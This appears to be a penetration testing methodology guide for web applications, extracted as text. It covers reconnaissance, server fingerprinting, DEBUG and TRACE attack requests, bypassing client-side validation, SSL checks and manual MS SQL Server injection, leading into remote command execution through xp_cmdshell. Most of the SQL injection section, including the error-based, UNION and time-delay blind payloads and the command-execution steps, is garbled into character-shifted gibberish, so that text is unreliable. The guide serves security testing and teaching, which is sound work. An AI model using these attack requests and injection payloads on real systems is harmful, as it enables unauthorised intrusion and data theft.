
Tactical Web Application
Penetration Testing Methodology

Phase 1: Open Source
Information Gathering

Phase 1a) OSSINT
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Phase 1b) Search Engine Vulnerability Quick Hits
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Phase 2: Platform Determination
1. Determine if the target is virtually hosted
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2. Determine if the target is load balanced
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Extension Technology Server Platform

.pl Perl CGI script Generic; usually web servers running

on Unix

.cgi Can be any scripting language

.py Python

.rb Ruby

.asp Active Server Pages Microsoft IIS

.aspx ASP+ Microsoft .NET

.asmx ASP.NET WebServer

.php PHP script Generic; usually interfaced with Apache

.cfm ColdFusion Generic; usually interfaced with

Microsoft IIS

.cfml ColdFusion Markup Language

.nsf Lotus Domino Lotus Domino server

.jsp Java Server Page Various platforms

.jnpl Java WebStart File (formatted in XML)

.do Java Struts Various platforms

.php3,php4,php5,phtml,inc

1)1�&@RSDQ�&FFR�
GSSO���RGHEKDSS�NQF�AKNF������EDA�OGO�D@RSDQ�DFFR
GSSO���VVV��OGO�BNL�OGO?D@RSDQ?DFF�OGO

"41�'HMFDQOQHMSHMF�
GSSO���LHBG@DKC@V�NQF�OQNIDBSR�@RO�@TCHSNQ�U�

�C
�$KHDMS�4HCD�-@MFT@FD�	+@U@RBQHOS�7#4BQHOS

7HDV�VDARHSD�RNTQBD�BNCD�SN�CDSDQLHMD�SGD�RBQHOSHMF�K@MFT@FD�HM�TRD

6. Determine if the site uses Application Pages or Functional Paths
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7. Look for server mis-configurations
* Microsoft ASP.NET Debugging Enabled

Filename: (startup.aspx)
https://<target>:443/path/startup.aspx

HTTP Attack Request:
DEBUG /path/startup.aspx HTTP/1.0

Referer: http://<ref_target>:80/

Connection: Close

Host: <target>

User-Agent: Mozilla/4.0 (compatible; MSIE 5.01;

Windows NT 5.0)

Pragma: no-cache

Content-Length: 0

Command: stop-debug



Connection: closed

Cookie: ASPSESSIONIDAABQTDQT=CCEBGKPDCMIBMFILHDHCHJBF;

ASP.NET_SessionId=5midlh55bqdr00fcd5l2dp45

HTTP Vulnerable Response:
HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Sat, 09 Jul 2005 00:12:51 GMT

X-Powered-By: ASP.NET

X-AspNet-Version: 1.1.4322

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 2

OK

* TRACE Method Enabled

HTTP Attack Request:

$ nc www.targetcompany.com 80

TRACE / HTTP/1.1

Host: www.targetcompany.com

HTTP Vulnerable Response:

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Tue, 31 Oct 2006 08:01:48 GMT

Connection: close

Content-Type: message/http

Content-Length: 39

TRACE / HTTP/1.1

Host: www.targetcompany.com

8. Make some manual requests for known valid and invalid resources, and
identify how the server handles it (ex. 200, 302, 404, etc)

Phase 3: Automatic Attack
Surface Mapping
1. Web Spidering and vulnerability identification with a local proxy
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2. Web Spidering and vulnerability identification with an active scanner
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2a. Dealing with an Open-Source CMS
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3. Discover Hidden Content
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Phase 4: Manual Attack Surface
Mapping

Phase 4a) Look for the big vulnerabilities
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1. Does this page or something on this page talk to a database, or another
system?
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2. Can I or any other website user see what I type?
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3. Does this page or something on this page reference a local or remote file?
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4. Does his page appear to be passing user input to a System( ) function or
processing a block of code that is supplied from user input?
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Phase 4b) Look for the less popular vulnerabilities

1. Inference from Published Content
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2. Identify Client-Side Security Controls and attempt to bypass them
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<form id="form_id" method="post" action="action.php"

onsubmit="javascript:return validate('form_id','email');">

<input type="text" id="email" name="email" />

<input type="submit" value="Submit" />

</form>
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<form id="form_id" method="post" action="www.victim.com/action.php"

onsubmit="javascript:return validate('form_id','email');">

<input type="text" id="email" name="email" />

<input type="submit" value="Submit" />

</form>
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function validate(form_id,email) {



var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-

z]{2,4})$/;

var address = document.forms[form_id].elements[email].value;

if(reg.test(address) == false) {

alert('Invalid Email Address');

return false;

}

}
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function validate(form_id,email) {

QDSTQM�SQTD�
}
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3. Identify session handling mechanism and attempt to abuse it
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%DBNCD�7HDVRS@SD�%@S@�
$ ./viewstate --decode --verbose --url=GSSO���VVV�S@QFDSBNLO@MX�BNL

GSSO���K@AR�ONQSBTKKHR�BN�TJ�@OOKHB@SHNM�UHDVRS@SD�
GSSO���RNTQBDENQFD�MDS�OQNIDBSR�UHDVRS@SD�

7HDVRS@SD�3DEDQDMBD�
GSSO���LRCM�LHBQNRNES�BNL�DM�TR�KHAQ@QX�LR�������@ROW

4. Test SSL Ciphers

��ODQK�RRK�BHOGDQ�BGDBJ�OK�VVV�S@QFDSBNLO@MX�BNL

GSSO���VVV�TMRODBHEHB�BNL�RRK�



NQ

GSSO���VVV�ENTMCRSNMD�BNL�TR�QDRNTQBDR�OQNCCDRB�RRKCHFFDQ�GSL

NQ

��ODQK�L@MXRRK����OK

GSSO���VVV�ONQSBTKKHR�RDBTQHSX�BNL�SNNKR�EQDD�L@MXRRK�����S@Q�FY
GSSO���K@AR�ONQSBTKKHR�BN�TJ�@OOKHB@SHNM�.@MX44-�

NQ

��ML@O���RBQHOS�RRKU��MRD��O����
���
����VVV�S@QFDSBNLO@MX�BNL
GSSO���ML@O�NQF�MRDCNB�RBQHOSR�RRKU��GSLK

NQ

# openssl s_client -no_tls1 -no_ssl3 -connect www.targetcompany.com:443

NQ

/DRRTR�"BTMDSHW�NQ�RHLHK@Q�UTKMDQ@AHKHSX�RB@MMDQ

Phase 5: Manual Attacks

Manual SQL Injection (ASP/MS SQL Server)

*MSDFDQ�@MC�4SQHMF�#@RDC�*MIDBSHNM

*MSDFDQ�*MIDBSHNM�
GSSO���<RHSD>�O@FD�@RO HC���G@UHMF������

$NKTLM��<$0-6./�/".&>��HR�HMU@KHC�HM�SGD�RDKDBS�KHRS�ADB@TRD�HS�HR�MNS�BNMS@HMDC�HM�@M
@FFQDF@SD�ETMBSHNM�@MC�SGDQD�HR�MN�(3061�#:�BK@TRD�

4SQHMF�*MIDBSHNM�
GSSO���<RHSD>�O@FD�@RO HC�W��G@UHMF������

$NKTLM��<$0-6./�/".&>��HR�HMU@KHC�HM�SGD�RDKDBS�KHRS�ADB@TRD�HS�HR�MNS�BNMS@HMDC�HM�@M
@FFQDF@SD�ETMBSHNM�@MC�SGDQD�HR�MN�(3061�#:�BK@TRD�

&MTLDQ@SHMF�$NKTLM�/@LDR�VHSG�)"7*/(���(3061�#:�$K@TRD

8GHKD�VD�QD�NM�SGD�RTAIDBS�NE�)"7*/(����
�HS�HR�ONRRHAKD�SN�BNMSHMTD�DMTLDQ@SHMF
BNKTLM�M@LDR�EQNL�SGD�BTQQDMS�S@AKD�SG@S�HR�ADHMF�PTDQHDC�TRHMF�SGHR�RXMS@W�

GSSO���<RHSD>�O@FD�@RO HC���G@UHMF������

$NKTLM��<S@AKD�M@LD?��$0-6./�/".&?�>��HR�HMU@KHC�HM�SGD�RDKDBS�KHRS�ADB@TRD�HS�HR�MNS
BNMS@HMDC�HM�@M�@FFQDF@SD�ETMBSHNM�@MC�SGDQD�HR�MN�(3061�#:�BK@TRD�



GSSO���<RHSD>�O@FD�@RO HC���(3061�#:�S@AKD�M@LD?��$0-6./�/".&?��G@UHMF������

$NKTLM��<S@AKD�M@LD?��$0-6./�/".&?�>��HR�HMU@KHC�HM�SGD�RDKDBS�KHRS�ADB@TRD�HS�HR�MNS
BNMS@HMDC�HM�@M�@FFQDF@SD�ETMBSHNM�@MC�SGDQD�HR�MN�(3061�#:�BK@TRD�

GSSO���<RHSD>�O@FD�@RO HC���(3061�#:�S@AKD�M@LD?��$0-6./�/".&?�
S@AKD
M@LD?��$0-6./�/".&?��G@UHMF������

$NKTLM��<S@AKD�M@LD?��$0-6./�/".&?�>��HR�HMU@KHC�HM�SGD�RDKDBS�KHRS�ADB@TRD�HS�HR�MNS
BNMS@HMDC�HM�@M�@FFQDF@SD�ETMBSHNM�@MC�SGDQD�HR�MN�(3061�#:�BK@TRD�

&3303�42-�*/+&$5*0/���&953"$5�%"5"#"4&�64&3

GSSO���<RHSD>�O@FD�@RO HC���NQ���BNMUDQS	HMS
	64&3

��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<%#�64&3>��SN�@�BNKTLM�NE�C@S@�SXOD�HMS�

4NLD�NSGDQ�NOSHNMR�@QD�
GSSO���<RHSD>�O@FD�@RO HC���NQ���HM�	4&-&$5�TRDQ?M@LD	

��

GSSO���<RHSD>�O@FD�@RO HC���NQ���HM�	4&-&$5�KNFHM@LD�'30.�L@RSDQ��RXROQNBDRRDR
8)&3&�ROHC���!!41*%
��

GSSO���<RHSD>�O@FD�@RO HC���NQ���HM�		4&-&$5�M@LD�'30.�L@RSDQ��RXRKNFHMR
��

&3303�42-�*/+&$5*0/���&953"$5�%"5"#"4&�/".&

GSSO���<RHSD>�O@FD�@RO HC���NQ���BNMUDQS	HMS
	%#?/".&

��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<%#�/".&>��SN�@�BNKTLM�NE�C@S@�SXOD�HMS�

4NLD�NSGDQ�NOSHNMR�@QD�
GSSO���<RHSD>�O@FD�@RO HC���NQ���HM�	4&-&$5�CA?M@LD	

��
GSSO���<RHSD>�O@FD�@RO HC���NQ���HM�	4&-&$5�CA?M@LD	
�'30.�L@RSDQ��RXROQNBDRRDR
8)&3&�ROHC���!!41*%
��

&3303�42-�*/+&$5*0/���&953"$5�%"5"#"4&�7&34*0/

GSSO���<RHSD>�O@FD�@RO HC���NQ���BNMUDQS	HMS
	!!7&34*0/

��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<%#�7&34*0/>��SN�@�BNKTLM�NE�C@S@�SXOD�HMS�

4NLD�NSGDQ�NOSHNMR�@QD�
GSSO���<RHSD>�O@FD�@RO HC���NQ���HM�	4&-&$5�!!UDQRHNM
��



&3303�42-�*/+&$5*0/���&953"$5�4&37&3�/".&

GSSO���<RHSD>�O@FD�@RO HC���NQ���BNMUDQS	HMS
	!!4&37&3/".&

��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<4&37&3�/".&>��SN�@�BNKTLM�NE�C@S@�SXOD
HMS�

4NLD�NSGDQ�NOSHNMR�@QD�
GSSO���<RHSD>�O@FD�@RO HC���NQ���HM�	4&-&$5�!!RDQUDQM@LD
��

/TLADQ�NE�BNKTLMR�DMTLDQ@SHNM

6RHMF��0QCDQ�AX��SN�CDSDQLHMD�SGD�MTLADQ�NE�BNKTLMR�HM�@�FHUDM�PTDQX�RSQHMF�ENQ�TRD�VHSG
AKHMC�RPK�HMIDBSHNM�

GSSO���<RHSD�BNL>�O@FD�@RO ���NQCDQ�AX������
8GDM�VD�O@RR����
�HS�RGNTKC�R@X��TMJMNVM�BNKTLM�HM�NQCDQ�AX�BK@TRD���8D�TRD�SGD
OQNBDRR�NE�DKHLHM@SHNM�SN�CDSDQLHMD�SGD�MTLADQ�NE�BNKTLMR��/DWS�VD�VNTKC�G@KUD�SGD
MTLADQ�

GSSO���<RHSD�BNL>�O@FD�@RO ���NQCDQ�AX�����
"F@HM�VD�VNTKC�FDS�@M�DQQNQ��-DSR�SQX�RNLDSGHMF�KHJD�����

GSSO���<RHSD�BNL>�O@FD�@RO ���NQCDQ�AX�����
8GDM�VD�CN�SGD�MTLADQ���
�SGD�PTDQX�BNLOKDSDR�ITRS�EHMD��8D�@QD�BKNRD
�ATS�SGDQD
LHFGS�AD�LNQD�

GSSO���<RHSD�BNL>�O@FD�@RO ���NQCDQ�AX�����
"MNSGDQ�DQQNQ�HM�SGD�NQCDQ�AX�BK@TRD��8D�JMNV�SGDQD�HR�LNQD�SG@M���
�ATS�KDRR�SG@M����

GSSO���<RHSD�BNL>�O@FD�@RO ���NQCDQ�AX�����
5GHR�O@RRDC�ITRS�EHMD��.HFGS�AD�LNQD
�KDSR�SDRS�

GSSO���<RHSD�BNL>�O@FD�@RO ���NQCDQ�AX�����
&QQNQ��5GHR�LD@MR�VD�G@UD����BNKTLMR��/NV�VD�@QD�QD@CX�ENQ�RNLD�AKHMC�42-�HMIDBSHNM�
5GD�QD@RNM�ENQ�CNHMF�SGHR�HR�ADB@TRD�SGD�TMHNM�RDKDBS�PTDQX�LTRS�G@UD�SGD�R@LD�MTLADQ
NE�BNKTLMR�VGDM�RDKDBSHMF�EQNL�@�PTDQX��/NV�VD�QTM�SGD�ENKKNVHMF�NM�SGD�RHSD�@MC�RS@QS
SDRSHMF�ENQ�RNLD�S@AKD�M@LDR�

&3303�42-�*/+&$5*0/���-HRS %"5"#"4&4

GSSO���<RHSD>�O@FD�@RO HC�� NQ���HM�	4&-&$5�%#?/".&	�

��
GSSO���<RHSD>�O@FD�@RO HC�� NQ���HM�	4&-&$5�%#?/".&	�

��
GSSO���<RHSD>�O@FD�@RO HC�� NQ���HM�	4&-&$5�%#?/".&	�

��
GSSO���<RHSD>�O@FD�@RO HC�� NQ���HM�	4&-&$5�%#?/".&	�

��



GSSO���<RHSD>�O@FD�@RO HC�� NQ���HM�	4&-&$5�%#?/".&	�

��
GSSO���<RHSD>�O@FD�@RO HC�� NQ���HM�	4&-&$5�%#?/".&	/

��

4NLD�NSGDQ�NOSHNMR�@QD�
GSSO���<RHSD>�O@FD�@RO HC���NQ���HM�	4&-&$5�M@LD�'30.�L@RSDQ��RXRC@S@A@RDR
��

&3303�42-�*/+&$5*0/���&953"$5��RS %"5"#"4&�5"#-&

GSSO���<RHSD>�O@FD�@RO HC���NQ���HM�	RDKDBS�SNO���M@LD�EQNL�RXRNAIDBSR�VGDQD
WSXOD�BG@Q	��

��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<5"#-&�/".&��>��SN�@�BNKTLM�NE�C@S@�SXOD
HMS�

4NLD�NSGDQ�NOSHNMR�@QD�
GSSO���<RHSD>�O@FD�@RO HC�� NQ���BNMUDQS	4&-&$5�M@LD�'30.�L@RSDQ��RXRNAIDBSR
8)&3&�WSXOD����6�
��

&3303�42-�*/+&$5*0/���&953"$5��MC�%"5"#"4&�5"#-&

GSSO���<RHSD>�O@FD�@RO HC���NQ���HM�	RDKDBS�SNO���M@LD�EQNL�RXRNAIDBSR�VGDQD
WSXOD�BG@Q	��
�@MC�
M@LD��5"#-&�/".&���
��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<5"#-&�/".&��>��SN�@�BNKTLM�NE�C@S@�SXOD
HMS�

4NLD�NSGDQ�NOSHNMR�@QD�
GSSO���<RHSD>�O@FD�@RO HC�� NQ���BNMUDQS	4&-&$5�M@LD�'30.�L@RSDQ��RXRNAIDBSR
8)&3&�WSXOD����6��@MC�M@LD��5"#-&�/".&���
��

&3303�42-�*/+&$5*0/���&953"$5��QC�%"5"#"4&�5"#-&

GSSO���<RHSD>�O@FD�@RO HC�� NQ���HM�	RDKDBS�SNO���M@LD�EQNL�RXRNAIDBSR�VGDQD
WSXOD�BG@Q	��
�@MC�
M@LD��5"#-&�/".&���
��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<5"#-&�/".&��>��SN�@�BNKTLM�NE�C@S@�SXOD
HMS�

4NLD�NSGDQ�NOSHNMR�@QD�
GSSO���<RHSD>�O@FD�@RO HC�� NQ���BNMUDQS	4&-&$5�M@LD�'30.�L@RSDQ��RXRNAIDBSR
8)&3&�WSXOD����6��@MC�M@LD��5"#-&�/".&���
��

&3303�42-�*/+&$5*0/���&953"$5��RS�5"#-&�$0-6./�/".&

GSSO���<RHSD>�O@FD�@RO HC�� NQ���HM�	RDKDBS�SNO���BNKTLM?M@LD�EQNL



%#/".&�HMENQL@SHNM?RBGDL@�BNKTLMR�VGDQD�S@AKD?M@LD��5"#-&�/".&���
��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<$0-6./�/".& �>��SN�@�BNKTLM�NE�C@S@
SXOD�HMS�

&3303�42-�*/+&$5*0/���&953"$5��MC�5"#-&�$0-6./�/".&

GSSO���<RHSD>�O@FD�@RO HC�� NQ���HM�	RDKDBS�SNO���BNKTLM?M@LD�EQNL
%#/".&�HMENQL@SHNM?RBGDL@�BNKTLMR�VGDQD�S@AKD?M@LD��5"#-&�/".&����@MC
BNKTLM?M@LD��$0-6./�/".&���
��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<$0-6./�/".&��>��SN�@�BNKTLM�NE�C@S@�SXOD
HMS�

&3303�42-�*/+&$5*0/���&953"$5��QC�5"#-&�$0-6./�/".&

GSSO���<RHSD>�O@FD�@RO HC�� NQ���HM�	RDKDBS�SNO���BNKTLM?M@LD�EQNL
%#/".&�HMENQL@SHNM?RBGDL@�BNKTLMR�VGDQD�S@AKD?M@LD��5"#-&�/".&����@MC
BNKTLM?M@LD��$0-6./�/".&���
��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<$0-6./�/".& �>��SN�@�BNKTLM�NE�C@S@
SXOD�HMS�

&3303�42-�*/+&$5*0/���&953"$5��RS�'*&-%�0'��RS�308

GSSO���<RHSD>�O@FD�@RO HC�� NQ���BNMUDQS	HMS
	RDKDBS�SNO���$0-6./�/".&���EQNL
5"#-&�/".&��

��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<'*&-%���7"-6&>��SN�@�BNKTLM�NE�C@S@�SXOD
HMS�

&3303�42-�*/+&$5*0/���&953"$5��MC�'*&-%�0'��RS�308

GSSO���<RHSD>�O@FD�@RO HC�� NQ���BNMUDQS	HMS
	RDKDBS�SNO���$0-6./�/".&���EQNL
5"#-&�/".&��

��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<'*&-%���7"-6&>��SN�@�BNKTLM�NE�C@S@�SXOD
HMS�

&3303�42-�*/+&$5*0/���&953"$5��MC�'*&-%�0'��RS�308

GSSO���<RHSD>�O@FD�@RO HC�� NQ���BNMUDQS	HMS
	RDKDBS�SNO���$0-6./�/".&���EQNL
5"#-&�/".&��

��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<'*&-%���7"-6&>��SN�@�BNKTLM�NE�C@S@�SXOD
HMS�

&3303�42-�*/+&$5*0/���&953"$5��RS�'*&-%�0'��MC�308



GSSO���<RHSD>�O@FD�@RO HC�� NQ���BNMUDQS	HMS
	RDKDBS�SNO���$0-6./�/".&���EQNL
5"#-&�/".&���VGDQD�$0-6./�/".&���/05�HM�	�'*&-%���7"-6&�
�NQCDQ�AX�$0-6./�
/".&���CDRB

��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<'*&-%���7"-6&�0'��/%�308>��SN�@�BNKTLM
NE�C@S@�SXOD�HMS�

&3303�42-�*/+&$5*0/���&953"$5��RS�'*&-%�0'��MC�308

GSSO���<RHSD>�O@FD�@RO HC�� NQ���BNMUDQS	HMS
	RDKDBS�SNO���$0-6./�/".&���EQNL
5"#-&�/".&���VGDQD�$0-6./�/".&���/05�HM�	�'*&-%���7"-6&�
�NQCDQ�AX�$0-6./�
/".&���CDRB

��

4XMS@W�DQQNQ�BNMUDQSHMF�SGD�MU@QBG@Q�U@KTD��<'*&-%���7"-6&�0'��3%�308>��SN�@�BNKTLM
NE�C@S@�SXOD�HMS�

.4�42-�6/*0/�*MIDBSHNM

6/*0/�42-�*/+&$5*0/���%&5&$5*0/

*MSDFDQ�*MIDBSHNM�
GSSO���<RHSD>�O@FD�@RO HC���6/*0/�4&-&$5�"--����

"KK�PTDQHDR�HM�@M�42-�RS@SDLDMS�BNMS@HMHMF�@�6/*0/�NODQ@SNQ�LTRS�G@UD�@M�DPT@K
MTLADQ�NE�DWOQDRRHNMR�HM�SGDHQ�S@QFDS�KHRSR�

GSSO���<RHSD>�O@FD�@RO HC���6/*0/�4&-&$5�"--��
���

"KK�PTDQHDR�HM�@M�42-�RS@SDLDMS�BNMS@HMHMF�@�6/*0/�NODQ@SNQ�LTRS�G@UD�@M�DPT@K
MTLADQ�NE�DWOQDRRHNMR�HM�SGDHQ�S@QFDS�KHRSR�

GSSO���<RHSD>�O@FD�@RO HC���6/*0/�4&-&$5�"--��
�
���

"KK�PTDQHDR�HM�@M�42-�RS@SDLDMS�BNMS@HMHMF�@�6/*0/�NODQ@SNQ�LTRS�G@UD�@M�DPT@K
MTLADQ�NE�DWOQDRRHNMR�HM�SGDHQ�S@QFDS�KHRSR�

GSSO���<RHSD>�O@FD�@RO HC���6/*0/�4&-&$5�"--��
�
�
���

/0�&3303

6/*0/�42-�*/+&$5*0/�$NKTLM�5XOD�&MTLDQ@SHNM

GSSO���<RHSD>�O@FD�@RO HC���TMHNM�RDKDBS�RTL	BNKTLM?M@LD�
�EQNL�S@AKD?M@LD���
-NNJ�@S�DQQNQ�LDRR@FD�SN�CDSDQLHMD�HE�C@S@�HR�HMS
�NQ�U@QBG@Q�

GSSO���<RHSD>�O@FD�@RO HC���TMHNM�RDKDBS�RTL	BNKTLM?M@LD�
�EQNL�S@AKD?M@LD���
-NNJ�@S�DQQNQ�LDRR@FD�SN�CDSDQLHMD�HE�C@S@�HR�HMS
�NQ�U@QBG@Q�

GSSO���<RHSD>�O@FD�@RO HC���TMHNM�RDKDBS�RTL	BNKTLM?M@LD�
�EQNL�S@AKD?M@LD���
-NNJ�@S�DQQNQ�LDRR@FD�SN�CDSDQLHMD�HE�C@S@�HR�HMS
�NQ�U@QBG@Q�



6/*0/�42-�*/+&$5*0/���&953"$5�%"5"#"4&�64&3

GSSO���<RHSD>�O@FD�@RO HC���6/*0/�4&-&$5�"--��
64&3
�
���

<%#�64&3>

6/*0/�42-�*/+&$5*0/���&953"$5�%"5"#"4&�/".&

GSSO���<RHSD>�O@FD�@RO HC���6/*0/�4&-&$5�"--��
%#?/".&
�
���

<%#�/".&>

6/*0/�42-�*/+&$5*0/���&953"$5�%"5"#"4&�7&34*0/

GSSO���<RHSD>�O@FD�@RO HC���6/*0/�4&-&$5�"--��
!!7&34*0/
�
���

<%#�7&34*0/>

6/*0/�42-�*/+&$5*0/���&953"$5�4&37&3�/".&

GSSO���<RHSD>�O@FD�@RO HC���6/*0/�4&-&$5�"--��
!!4&37&3/".&
�
���

<4&37&3�/".&>

6/*0/�42-�*/+&$5*0/���&953"$5�%"5"#"4&�5"#-&4

GSSO���<RHSD>�O@FD�@RO HC�� 6/*0/�4&-&$5�"--��
M@LD
�
��EQNL�RXRNAIDBSR�VGDQD
WSXOD�BG@Q	��
��

<5"#-&�/".&��>

6/*0/�42-�*/+&$5*0/���&953"$5�5"#-&�$0-6./�/".&4

GSSO���<RHSD>�O@FD�@RO HC�� 6/*0/�4&-&$5�"--��
BNKTLM?M@LD
�
��EQNL
%#/".&�HMENQL@SHNM?RBGDL@�BNKTLMR�VGDQD�S@AKD?M@LD��5"#-&�/".&�����

<$0-6./�/".& �>

6/*0/�42-�*/+&$5*0/���&953"$5��RS�'*&-%

GSSO���<RHSD>�O@FD�@RO HC�� 6/*0/�4&-&$5�"--��
$0-6./�/".&��
�
��EQNL�5"#-&�
/".&����

<'*&-%���7"-6&>



6/*0/�42-�*/+&$5*0/���&953"$5��MC�'*&-%

GSSO���<RHSD>�O@FD�@RO HC�� 6/*0/�4&-&$5�"--��
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GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	RTARSQHMF		4&-&$5�501���64&3�EQNL
64&34

�
�

����
�8"*5'03�%&-":������������� 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	RTARSQHMF		4&-&$5�501���64&3�EQNL
64&34

�
�

����
�8"*5'03�%&-":������������� 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	RTARSQHMF		4&-&$5�501���64&3�EQNL
64&34

�
�

����
�8"*5'03�%&-":������������� 	����RDBNMCR


'HDKC�%@S@���"%.*/

#-*/%�42-�*/+&$5*0/���&953"$5��MC�'*&-%�0'��RS�308

GSSO���<RHSD>�O@FD�@RO HC����*'�	-&/	4&-&$5�501���1"44�EQNL�64&34
��
�8"*5'03
%&-":������������� 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	RTARSQHMF		4&-&$5�501���1"44�EQNL
64&34

�
�

���
�8"*5'03�%&-":������������� 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	RTARSQHMF		4&-&$5�501���1"44�EQNL
64&34

�
�

���
�8"*5'03�%&-":������������� 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	RTARSQHMF		4&-&$5�501���1"44�EQNL
64&34

�
�

���
�8"*5'03�%&-":������������� 	����RDBNMCR


'HDKC�%@S@������

#-*/%�42-�*/+&$5*0/���&953"$5��MC�'*&-%�0'��RS�308

GSSO���<RHSD>�O@FD�@RO HC����*'�	-&/	4&-&$5�501���*% EQNL�64&34
��
�8"*5'03



%&-":������������� 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	RTARSQHMF		4&-&$5�501���*% EQNL
64&34

�
�

���
�8"*5'03�%&-":������������� 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	RTARSQHMF		4&-&$5�501���*% EQNL
64&34

�
�

���
�8"*5'03�%&-":������������� 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	RTARSQHMF		4&-&$5�501���*% EQNL
64&34

�
�

���
�8"*5'03�%&-":������������� 	����RDBNMCR


'HDKC�%@S@������

#-*/%�42-�*/+&$5*0/���&953"$5��RS�'*&-%�0'��MC�308

GSSO���<RHSD>�O@FD�@RO HC����*'�	-&/	4&-&$5�501���64&3�EQNL�64&34�VGDQD�64&3�/05
HM�	�"%.*/�
�NQCDQ�AX�64&34�CDRB
��
�8"*5'03�%&-":������������� 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	KNVDQ	RTARSQHMF		4&-&$5�501���64&3�EQNL
64&34�VGDQD�64&3�/05�HM�	�"%.*/�
�NQCDQ�AX�64&3�CDRB

�
�


����
�8"*5'03�%&-":
������������ 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	KNVDQ	RTARSQHMF		4&-&$5�501���64&3�EQNL
64&34�VGDQD�64&3�/05�HM�	�"%.*/�
�NQCDQ�AX�64&3�CDRB

�
�


����
�8"*5'03�%&-":
������������ 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	KNVDQ	RTARSQHMF		4&-&$5�501���64&3�EQNL
64&34�VGDQD�64&3�/05�HM�	�"%.*/�
�NQCDQ�AX�64&3�CDRB

�
�


����
�8"*5'03�%&-":
������������ 	����RDBNMCR


'HDKC�%@S@���+0&

#-*/%�42-�*/+&$5*0/���&953"$5��RS�'*&-%�0'��MC�308

GSSO���<RHSD>�O@FD�@RO HC����*'�	-&/	4&-&$5�501���64&3�EQNL�64&34�VGDQD�64&3�/05
HM�	�+0&�
�NQCDQ�AX�64&34�CDRB
��
�8"*5'03�%&-":������������� 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	KNVDQ	RTARSQHMF		4&-&$5�501���64&3�EQNL
64&34�VGDQD�64&3�/05�HM�	�+0&�
�NQCDQ�AX�64&3�CDRB

�
�


����
�8"*5'03�%&-":
������������ 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	KNVDQ	RTARSQHMF		4&-&$5�501���64&3�EQNL
64&34�VGDQD�64&3�/05�HM�	�+0&�
�NQCDQ�AX�64&3�CDRB

�
�


����
�8"*5'03�%&-":
������������ 	����RDBNMCR

GSSO���<RHSD>�O@FD�@RO HC����*'�	"4$**	KNVDQ	RTARSQHMF		4&-&$5�501���64&3�EQNL
64&34�VGDQD�64&3�/05�HM�	�+0&�
�NQCDQ�AX�64&3�CDRB

�
�


����
�8"*5'03�%&-":
������������ 	����RDBNMCR


'HDKC�%@S@���+*.

Calling the XP_CMDSHELL Stored Procedure in MS SQL Server
(Privileged Database User Account Required)

*M�RNLD�B@RDR�HS�HR�ONRRHAKD�SN�QTM�@QAHSQ@QX�BNLL@MCR�NM�@�RXRSDL�UH@�42-�HMIDBSHNM
SGQNTFG�SGD�91?$.%4)&--�RSNQDC�OQNBDCTQD� )DQD�@QD�RNLD�RSDOR�SN�FDS�SGHR�VNQJHMF�

5DBGMHPTD�ENQ�91?$.%4)&--�42-�*MIDBSHNM�NM�8HMCNVR�����

�� $GDBJ�SGD�BTQQDMS�C@S@A@RD�UDQRHNM� 8HSG�@M�HMA@MC�@OOQN@BG�	DQQNQ�A@RDC

�SGD
RXMS@W�ENQ�CNHMF�SGHR�HM�@�TRDQM@LD�EHDKC�NE�@�KNFHM�O@FD�VNTKC�AD�

6RDQM@LD����"/%�����!!7&34*0/��
1@RRVNQC��@MXSGHMF



0M�SGD�C@S@A@RD�RDQUDQ
�SGD�PTDQX�RSQHMF�VNTKC�KNNJ�RNLDSGHMF�KHJD�
4&-&$5�6RDQR�TRDQ
�6RDQR�O@RRVNQC�'30.�6RDQR�8)&3&�6RDQR�TRDQ���ab"/%�����
!!7&34*0/��b�"/%�6RDQR�O@RRVNQC���a@MXSGHMFb�

NTSOTS���4XMS@W�DQQNQ�BNMUDQSHMF�MU@QBG@Q�U@KTD��.HBQNRNES�42-�4DQUDQ����������������
	*MSDK�9��
�����

'QNL�SGHR�NTSOTS
�VD�JMNV�SG@S�SGD�91?$.%4)&--�RSNQDC�OQNBDCTQD�HR�KHJDKX�@U@HK@AKD

